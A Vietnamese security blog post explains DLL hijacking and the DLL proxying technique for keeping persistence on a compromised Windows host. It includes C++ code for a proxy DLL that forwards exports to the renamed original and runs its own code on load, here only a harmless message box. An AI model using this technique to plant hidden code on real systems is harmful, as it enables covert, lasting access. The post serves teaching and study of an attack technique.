Với việc hệ điều hành windows cực kỳ phổ biến để xây dựng và triển khai ứng dụng cho hầu hết các doanh nghiệp bởi tính trực quan và dễ sử dụng của nó, chính vì phổ biến nên các kỹ thuật tấn công nhắm đến hệ điều hành này cũng có rất nhiều. Trong qua trình khai thác và tấn công, khi đã chiếm quyền điều khiển được một máy chủ nào đó và vấn đề làm sao để có thể giữ lại kết nối, backdoor phục vụ làm bàn đạp về sau và windows có rất nhiều sự lựa chọn một trong số đó là khai thác thư viện DLL. Vậy DLL là gì?

TỔNG QUAN VỀ DLL

DLL là viết tắt của thư viện liên kết động (Dynamic Link Library), là một dạng program file của window – một thư viện có tính đa năng cao, cho phép các ứng dụng có thể liên kết đến và sử dụng nó. Bên trong nó chứa cách function và export ra các function được share, để các object khác có thể gọi đến.

Tự bản thân file DLL không thể hoạt động một mình, mà khi những file có khả năng hoạt động(ví dụ file EXE) bắt đầu khởi động thì tự động liên kết đến file DLL và triển khai hành động theo bộ nhớ (memory).

DLL HIJACKING

DLL Hijacking là phương pháp tiêm mã độc vào ứng dụng hợp lệ bằng cách khai thác lỗ hổng trong việc nạp DLL của ứng dụng đó. Bằng cách thay thế tệp DLL có sẵn trong Windows bằng một phiên bản bị nhiễm mã độc và đặt nó trong các tham số tìm kiếm của ứng dụng, tệp bị nhiễm sẽ được gọi khi ứng dụng tải và kích hoạt các hoạt động độc hại của nó.

Để xâm nhập DLL thành công, nạn nhân cần tải tệp DLL bị nhiễm từ cùng thư mục với ứng dụng được nhắm mục tiêu. Nếu các ứng dụng được tải tự động khi khởi động đã bị xâm nhập với tệp DLL bị nhiễm mã độc, tin tặc sẽ giành được quyền truy cập vào máy tính bất cứ khi nào ứng dụng tải, hoặc mã độc có thêm cửa hậu để tin tặc có thể truy cập máy tính bất cứ khi nào.

Các yếu tố sau ảnh hưởng đến việc hệ thống tìm kiếm một DLL:

– Nếu một DLL có cùng tên module đã được tải trong bộ nhớ, hệ thống chỉ kiểm tra chuyển hướng tới một tệp kê khai trước khi phân giải tới DLL đã tải, bất kể nó nằm trong thư mục nào;

– Nếu DLL nằm trong danh sách các DLL đã biết cho phiên bản Windows mà ứng dụng đang chạy, hệ thống sử dụng bản sao của DLL đã biết thay vì tìm kiếm DLL. Để biết danh sách các DLL đã biết trên hệ thống hiện tại, có thể xem trên Key Registry theo đường dẫn sau: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\KnownDLLs;

– Nếu một DLL có các phụ thuộc, hệ thống sẽ tìm kiếm các DLL phụ thuộc như thể chúng chỉ được tải bằng tên module của chúng. Điều này đúng ngay cả khi DLL đầu tiên được tải bằng cách chỉ định một đường dẫn đầy đủ.

Thứ tự tìm kiếm DLL tiêu chuẩn của các ứng dụng Microsoft phụ thuộc vào chế độ tìm kiếm DLL an toàn có được bật hay không. Khi bật chế độ tìm kiếm DLL an toàn, các ứng dụng sẽ tìm kiếm các tệp DLL cần thiết theo thứ tự sau :

  • Thư mục mà ứng dụng được tải từ đó > Thư mục hệ thống > Thư mục Windows > Thư mục hiện tại.

Khi chế độ tìm kiếm DLL an toàn bị tắt, thứ tự tìm kiếm như sau:

  • Thư mục mà ứng dụng được tải từ đó > Thư mục hiện tại > Thư mục hệ thống > Thư mục Windows.

Sự khác biệt giữa hai chế độ tìm kiếm là thứ tự mà thư mục hiện tại của người dùng được tìm kiếm được nâng lên một chút trong phân cấp khi tính năng tìm kiếm an toàn bị tắt. Các ứng dụng Windows sẽ mặc định cho bất kỳ một trong các giao thức tìm kiếm DLL ở trên, nếu một ứng dụng không chỉ định đường dẫn đầy đủ của các tệp DLL được liên kết . Đây là cách khai thác khiến cho việc DLL Hijacking có thể xảy ra. Ví dụ, nếu ứng dụng Windows yêu cầu tệp DLL nằm trong thư mục hệ thống C:\Windows\ System32 nhưng không có hướng dẫn trong mã của nó để tìm kiếm ở vị trí rõ ràng này, ứng dụng sẽ hoạt động thông qua lệnh tìm kiếm DLL để định vị tệp.

Bất kể có bật tìm kiếm an toàn hay không, thư mục mà từ đó ứng dụng được khởi chạy là vị trí đầu tiên được tìm kiếm. Nếu các tin tặc di chuyển tệp DLL bị nhiễm vào vị trí này, ứng dụng sẽ mở tệp đó thay vì tệp gốc vì vị trí của nó đã được tìm kiếm trước, trước thư mục hệ thống. Để khởi chạy xâm nhập DLL, tội phạm mạng chỉ cần gửi một tải DLL vào thư mục của một ứng dụng được nhắm mục tiêu. Nhiều vector tấn công có thể tạo điều kiện cho việc gửi tải DLL như vậy, bao gồm các cuộc tấn công kỹ thuật xã hội, lừa đảo và chuỗi cung ứng.

Theo forrmat, qua phần tổng quan giờ sẽ đến nhân vật chính của blog này:

DLL PROXYING FOR PERSISTENCE

DLL proxying là một trong những kỹ thuật của DLL hijacking, nôm na chúng ta có thể hiểu kỹ thuật này theo phòng cách “người đàn ông ở giữa”, tức là thay vì đi thẳng từ ứng dụng đến dll, chúng ta sẽ cho nó đi qua thằng cò trung gian và thịt =))

Nhìn vào hình dưới đây sẽ dễ dình dung hơn rất nhiều về thanh niên bị kẹp xăm ở giữa này:

Chúng ta có, authentic1.dll chính là dll gốc của chương trình đã bị đổi tên, và fake.dll được đổi tên thành authentic.dll và chứa tất cả các exportedfunction của authentic.dll.

Và khi đã bị hijacked, khi chương trình gọi hàm ExportedFunction1 của authentic.dll thì sẽ xảy ra quá trình như sau:

  • authentic.dll (fake.dll) sẽ được load vào tiến trình đang gọi và thực thi mã độc hại
  • authentic.dll (fake.dll) sẽ chuyển tiếp lời gọi tới exportedFunction1 trong authentic1.dll
  • authentic1.dll sẽ thực thi exportedFunction1

Có thể thấy dll fake đã diễn trót lọt vai diễn của nó!

Nói qua một chút về ExportedFunction, một function được exported bởi một chương trình thực thi thì có thể được gọi và sử dụng bởi các ứng dựng khác.

Walkthrough

Kỹ thuật này được thực hiện theo luồng sau:

  1. Xác định dll sẽ hijack. Ví dụ, dll này được lưu ở \DLLproxying\authentic.dll. Sau đó đổi tên nó thành \DLLproxying\authentic1.dll
  2. Lấy danh sách các hàm đã exported của \DLLproxying\authentic1.dll
  3. Tạo DLL độc hại fake.dll đã được load bởi tiến trình mục tiêu, sau đó sẽ thưc thi các mã của attacker
  4. Bên trong fake.dll, chuyển hướng/chuyển tiếp tất cả các hàm của authentic.dll (đây là dll chúng ta hijack) tới authentic1.dll (nó vẫn là dll gốc mà chúng ta hijack chỉ là đã bị đổi tên thành tên mới)
  5. Cope fake.dll vào thư mục dll gốc
  6. Và bây giờ, bất cứ khi nào chương trình gọi hàm nào của authentic.dll sẽ thực thi payload của attacker và chuyển lời gọi thực thi đến đúng hàm đó trong \DLLproxying\authentic1.dll.

Bắt tay vào demo thôi

  1. Tạo target dll, chúng ta bắt tay vào tạo dll hợp lệ (dll mà sẽ bị hijack) với tên authentic.dll

#include “pch.h”

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

extern “C” __declspec(dllexport) VOID exportedFunction1(int a)
{
MessageBoxA(NULL, “Hi fen from exportedFunction1 authentic”, “Hi fen from exportedFunction1 authentic”, 0);
}

extern “C” __declspec(dllexport) VOID exportedFunction2(int a)
{
MessageBoxA(NULL, “Hi fen from exportedFunction2 authentic”, “Hi fen from exportedFunction2 authentic”, 0);
}

extern “C” __declspec(dllexport) VOID exportedFunction3(int a)
{
MessageBoxA(NULL, “Hi fen from exportedFunction3 authentic”, “Hi fen from exportedFunction3 authentic”, 0);
}

Complie code c++ ta được file dll với 3 exportedfuntion như sau:

Thử gọi exportedFuntion1 bằng rundll32, popup hiện lên:

việc đầu tiên đã xong, kế tiếp chúng ta sẽ tạo dll sẽ làm “thanh niên ở giữa”:

2. Fake dll

Để có thể tạo ra được một dll đứng giữa thì cần phải liệt kê được toàn bộ các exportedFunction của dll gốc, nếu không chương trình sẽ bị lỗi khi cần gọi đến function nào đó. Với công cụ CFF explorer, chỉ cần open > chọn file dll > chọn “Export Directory” qua hiển thị của kết quả thấy rằng authentic.dll có 3 exportFunction:

Bắt đầu tạo fake.dll với code bên dưới:

#include “pch.h”

#pragma comment(linker, “/export:exportedFunction1=authentic1.exportedFunction1”)
#pragma comment(linker, “/export:exportedFunction2=authentic1.exportedFunction2”)
#pragma comment(linker, “/export:exportedFunction3=authentic1.exportedFunction3”)

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxA(NULL, “Hasagi from malicious dll”, “Hasagi from malicious dll”, 0);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

mấu chốt tại fake.dll là sử dụng #prama được khai báo ở phía trên,

Vậy #pragma là gì?

#pragma là một chỉ thị tiền xử lý trong ngôn ngữ C/C++, cũng tương tự như #include, #define … có nhiệm vụ chỉ dẫn cho trình biên dịch thực hiện một chức năng, thiết lập một chế độ, hoặc tiến hành một thao tác cụ thể nào đó

Nếu như

  • #include được dùng để chèn mã thư viện nguồn vào đoạn code,
  • #define được dùng để thay thế các hằng số, các đoạn mã cố định trong code, thì #pragma không có một chuẩn chức năng cụ thể nào. Mỗi trình dịch sẽ có quy định về các chức năng của #pragma riêng

Khi #pragma comment được sử dụng sẽ để lại một comment trong tệp đối tượng được tạo và sau đó trình liên kết (linker) có thể đọc khi nó xử lý các tệp đối tượng

ví dụ: chúng ta có thể chỉ định tùy chọn /include bắt buộc với cú pháp sau:

#pragma comment(linker, “/include:__mySymbol”)

như vậy là đã có thể tạo ra được một dll ở giữa, khi fake.dll được load, nó sẽ popup thông báo “hasagi from malicious dll”, hoặc là bất cứ lệnh nào chúng ra cần:

Chạy thử fake.dll:

3. DLL proxying

Để thực hiện, đầu tiên copy fake.dll vào thư mục chứa authentic.dll

đổi tên authentic.dll thành authentich1.dll và fake.dll thành authentic.dll

Và ngay bây giờ, gọi thử hàm exportFunction1 từ authentic.dll – đây là dll proxying của chúng ta. nếu thành công sẽ thấy 2 thông báo lần lượt hiện lên là “hasagi from malicious dll” và sau đó là “hi fen from exportfunction1 authentic”

 

Vậy là chúng ta đã thành công tạo ra một dll đứng giữa và thực thi code theo ý muốn. Tuy nhiên việc sử dụng DLL proxying sẽ có thể có một số khó khăn vì vậy chúng ta có thể tham khảo công cụ sharpdllproxy https://github.com/Flangvik/SharpDllProxy. Trên đây là tổng quan và ví dụ đơn giản dễ hiểu, để khai thác sâu hơn cũng như cách phát hiện và ngăn chặn hẹn gặp lại ở các bài viết sau. See ya!

_Ezio_


Tài liệu tham khảo:

https://itm4n.github.io/dll-proxying/

https://kevinalmansa.github.io/application security/DLL-Proxying/

https://blog.sunggwanchoi.com/recreating-an-iso-payload-for-fun-and-no-profit/

https://dl.packetstormsecurity.net/papers/win/intercept_apis_dll_redirection.pdf

https://docs.microsoft.com/fr-fr/cpp/build/reference/export-exports-a-function

1.209 lượt xem